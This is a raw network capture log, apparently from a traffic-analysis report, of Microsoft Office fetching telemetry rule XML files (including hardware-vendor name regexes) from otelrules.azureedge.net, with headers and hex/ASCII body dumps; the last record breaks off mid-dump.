2024-10-28 18:12:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181218Z-17fbfdc98bb8lw78ye6qppf97g00000005yg000000002vgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49758	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181218Z-17fbfdc98bb8mkvjfkt54wa538000000037g00000000fsnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49757	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181218Z-17fbfdc98bbfmg5wrf1ctcuuun00000005s000000000azck x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49759	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c4ab37c7-901e-002a-3417-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181218Z-17fbfdc98bbwmxz5amc6q625w000000001bg00000000bg1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49756	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181218Z-r1755647c66tgwsmrrc4e69sk000000004pg0000000096er x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49765	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181219Z-17fbfdc98bbwj6cp6df5812g4s0000000710000000000r27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49764	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8d314a1c-701e-0097-3ae5-21b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181219Z-r1755647c6688lj6g0wg0rqr1400000005g000000000f233 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49762	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181219Z-17fbfdc98bblzxqcphe71tp4qw00000000p000000000gc0x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49766	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 895e1389-601e-005c-16b8-20f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181219Z-r1755647c66gqcpzhw8q9nhnq0000000064g00000000b3g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49763	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 08684d9a-201e-0033-16a4-26b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181219Z-r1755647c665dwkwce4e7gadz0000000063000000000hytn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49768	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9985b9b7-a01e-0021-5827-28814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181220Z-17fbfdc98bbwmxz5amc6q625w000000001gg000000000bye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49767	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f66eff46-601e-0084-3c9d-276b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181220Z-17fbfdc98bb5d4fn785en176rg00000005c000000000ceu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" 